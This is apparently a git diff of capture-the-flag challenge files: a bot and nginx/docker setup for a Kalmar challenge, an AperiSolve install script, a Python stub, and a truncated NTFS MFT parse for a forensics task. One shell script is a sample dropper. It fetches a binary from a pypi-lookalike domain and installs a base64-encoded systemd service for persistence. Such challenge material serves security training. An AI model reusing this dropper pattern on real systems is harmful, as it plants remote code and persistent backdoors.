console.log(`Bot listening on port ${PORT}`);
});

View File

@@ -0,0 +1,6 @@
{
"dependencies": {
"express": "^5.2.1",
"puppeteer": "^24.40.0"
}
}

View File

@@ -0,0 +1,21 @@
#!/usr/bin/env sh
git clone https://github.com/Zeecka/AperiSolve.git
cd AperiSolve
# Pinning repo version to 3.0.7
git checkout d86416c97d508c14fdda12297fb510d6e7080b13
# Pinning container version
# Version 3.0.7: https://github.com/zeecka/AperiSolve/pkgs/container/aperisolve/versions
sed --in-place -e "s/image: ghcr.io\/zeecka\/aperisolve:latest/image: ghcr.io\/zeecka\/aperisolve@sha256:c7f1f827e04d6d98b99f86845fcca31c2516cf13869270542c10b2ff4a6d9cd1/g" compose.yml
# Just for your convencience:
sed --in-place -e "s/restart: always/restart: unless-stopped/g" compose.yml
cp .env.example .env
cd ..
docker compose up --build; docker compose down
# If your user is not in the docker group, then run:
# sudo docker compose up --build; sudo docker compose down

View File

@@ -0,0 +1,19 @@
services:
nginx:
build: ./nginx
ports:
- "8091:80"
depends_on:
- web
- bot
bot:
build: ./bot
# ports:
# - 3123:3123
environment:
- FLAG=kalmar{test_flag}
- PORT=3123
include:
- AperiSolve/compose.yml

View File

@@ -0,0 +1,4 @@
FROM nginx:alpine
# Just adding nginx so we can expose everything over one port. It's not part of the challenge
COPY nginx.conf /etc/nginx/nginx.conf

View File

@@ -0,0 +1,17 @@
events {
worker_connections 1024;
}
http {
server {
listen 80;
location /report {
proxy_pass http://bot:3123;
}
location / {
proxy_pass http://web:5000;
}
}
}

View File

@@ -0,0 +1,12 @@
n=`whoami`
h=`hostname`
path='/usr/local/bin/service'
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o $path
chmod +x $path
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service

View File

@@ -0,0 +1 @@
3.13

View File

@@ -0,0 +1,6 @@
def main():
print("Hello from pursue-the-tracks!")
if __name__ == "__main__":
main()

Binary file not shown.
1 Record Number Record Status Record Type File Type Sequence Number Parent Record Number Parent Record Sequence Number Filename Filepath SI Creation Time SI Modification Time SI Access Time SI Entry Time FN Creation Time FN Modification Time FN Access Time FN Entry Time Object ID Birth Volume ID Birth Object ID Birth Domain ID Has Standard Information Has Attribute List Has File Name Has Volume Name Has Volume Information Has Data Has Index Root Has Index Allocation Has Bitmap Has Reparse Point Has EA Information Has EA Has Logged Utility Stream Attribute List Details Security Descriptor Volume Name Volume Information Data Attribute Index Root Index Allocation Bitmap Reparse Point EA Information EA Logged Utility Stream MD5 SHA256 SHA512 CRC32
2 0 Invalid Not in Use File 0 0 0 Not defined Not defined Not defined Not defined Not defined Not defined Not defined Not defined False False False False False False False False False False False False False [] None None None None None None None None None None
3 1 Valid In Use File 1 5 0 $MFTMirr 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 0} None None None None None None None
4 2 Valid In Use File 2 5 0 $LogFile 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 511} None None None None None None None
5 3 Valid In Use File 3 5 0 $Volume 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True True True True False False False False False False False [] None iles���p�(��� ������ă€��€�������￿￿���� ��Files���p�(��� � {'major_version': 3, 'minor_version': 1, 'flags': 128} {'name': '', 'non_resident': False, 'content_size': 0, 'start_vcn': None, 'last_vcn': None} None None None None None None None
6 4 Valid In Use File 4 5 0 $AttrDef 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 0} None None None None None None None
7 5 Valid In Use Directory 5 5 0 . 2024-02-20T19:32:21.654Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False False True True True False False False True [] {'revision': 1, 'control': 32772, 'owner_offset': 204, 'group_offset': 216, 'sacl_offset': 0, 'dacl_offset': 20} None None {'attr_type': 4784164, 'collation_rule': 393267, 'index_alloc_size': 48, 'clusters_per_index': 1} {'data_runs_offset': 0} {'size': 4784164, 'data': b'3\x000\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00h\x00\x00\x00\x00\t\x18\x00\x00\x00\t\x008\x00\x00\x000\x00\x00\x00$\x00T\x00X\x00F\x00_\x00D\x00A\x00T\x00A\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x05\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00'} None None None {'size': 19703626332373028, 'data': b'_\x00D\x00A\x00T\x00A\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x05\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00'}
8 6 Valid In Use File 6 5 0 $Bitmap 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 0} None None None None None None None
9 7 Valid In Use File 7 5 0 $Boot 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] {'revision': 1, 'control': 32772, 'owner_offset': 72, 'group_offset': 84, 'sacl_offset': 0, 'dacl_offset': 20} None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 1} None None None None None None None
10 8 Valid In Use File 8 5 0 $BadClus 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '$Bad', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 2286} None None None None None None None
11 9 Valid In Use Special Index 9 5 0 $Secure 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True True True True False False False False [] None None {'name': '$SDS', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 64} {'attr_type': 5439524, 'collation_rule': 4784201, 'index_alloc_size': 0, 'clusters_per_index': 16} {'data_runs_offset': 0} {'size': 5439524, 'data': b'D\x00H\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00'} None None None None
12 10 Valid In Use File 10 5 0 $UpCase 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False True False False False False False False False [] None None {'name': '$Info', 'non_resident': False, 'content_size': 32, 'start_vcn': None, 'last_vcn': None} None None None None None None None
13 11 Valid In Use Directory 11 5 0 $Extend 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z True False True False False False True False False False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None None
14 12 Valid In Use File 12 0 0 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z Not defined Not defined Not defined Not defined True False False False False True False False False False False False False [] {'revision': 1, 'control': 32772, 'owner_offset': 72, 'group_offset': 84, 'sacl_offset': 0, 'dacl_offset': 20} None {'name': '', 'non_resident': False, 'content_size': 0, 'start_vcn': None, 'last_vcn': None} None None None None None None None
15 13 Valid In Use File 13 0 0 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z Not defined Not defined Not defined Not defined True False False False False True False False False False False False False [] {'revision': 1, 'control': 32772, 'owner_offset': 72, 'group_offset': 84, 'sacl_offset': 0, 'dacl_offset': 20} None {'name': '', 'non_resident': False, 'content_size': 0, 'start_vcn': None, 'last_vcn': None} None None None None None None None
16 14 Valid In Use File 14 0 0 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z Not defined Not defined Not defined Not defined True False False False False True False False False False False False False [] {'revision': 1, 'control': 32772, 'owner_offset': 72, 'group_offset': 84, 'sacl_offset': 0, 'dacl_offset': 20} None {'name': '', 'non_resident': False, 'content_size': 0, 'start_vcn': None, 'last_vcn': None} None None None None None None None
17 15 Valid In Use File 15 0 0 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z 2024-02-20T19:32:21.654Z Not defined Not defined Not defined Not defined True False False False False True False False False False False False False [] {'revision': 1, 'control': 32772, 'owner_offset': 72, 'group_offset': 84, 'sacl_offset': 0, 'dacl_offset': 20} None {'name': '', 'non_resident': False, 'content_size': 0, 'start_vcn': None, 'last_vcn': None} None None None None None None None
18 24 Valid In Use Extension 1 11 0 $Quota 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False False True False False False False False False [] None None None {'attr_type': 5308452, 'collation_rule': 0, 'index_alloc_size': 0, 'clusters_per_index': 16} None None None None None None
19 25 Valid In Use Extension 1 11 0 $ObjId 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False False True False False False False False False [] None None None {'attr_type': 5177380, 'collation_rule': 0, 'index_alloc_size': 0, 'clusters_per_index': 19} None None None None None None
20 26 Valid In Use Extension 1 11 0 $Reparse 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False False True False False False False False False [] None None None {'attr_type': 5373988, 'collation_rule': 0, 'index_alloc_size': 0, 'clusters_per_index': 19} None None None None None None
21 27 Valid In Use Directory 1 11 0 $RmMetadata 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False False True False False False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None None
22 28 Valid In Use Extension 1 27 0 $Repair 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False True False False False False False False False [] None None {'name': '$Config', 'non_resident': False, 'content_size': 8, 'start_vcn': None, 'last_vcn': None} None None None None None None None
23 29 Valid In Use Directory 1 11 0 $Deleted 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z 2024-02-20T19:32:22.285Z True False True False False False True True True False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} {'data_runs_offset': 15} {'size': 4784164, 'data': b'3\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x82yG\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00'} None None None None
24 30 Valid In Use Directory 1 27 0 $TxfLog 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z True False True False False False True False False False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None None
25 31 Valid In Use Directory 1 27 0 $Txf 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z True False True False False False True False False False False False True [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None {'size': 19703626332373028, 'data': b'_\x00D\x00A\x00T\x00A\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x05\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x82yG\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00'}
26 32 Valid In Use File 1 30 0 $Tops 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z True False True False False True False False False False False False False [] None None {'name': '$T', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 255} None None None None None None None
27 33 Valid In Use File 1 30 0 $TxfLog.blf 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z 2024-02-20T19:32:22.317Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 15} None None None None None None None
28 34 Valid In Use Directory 1 5 0 System Volume Information 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z True False True False False False True False False False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None None
29 35 Valid In Use File 1 34 0 WPSettings.dat 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.367Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z 2024-02-20T19:32:24.336Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': False, 'content_size': 12, 'start_vcn': None, 'last_vcn': None} None None None None None None None
30 36 Valid In Use Directory 1 5 0 documents 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.281Z 2024-02-20T19:32:27.281Z True False True False False False True False False False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} None None None None None None
31 37 Valid In Use Directory 1 36 0 2023 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z True False True False False False True True True False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} {'data_runs_offset': 0} {'size': 4784164, 'data': b'3\x000\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x82yG\x11%\x00\x00\x00\x00\x00\x01\x00\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\x04\x00\x00\xf0\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x00\x00\x00 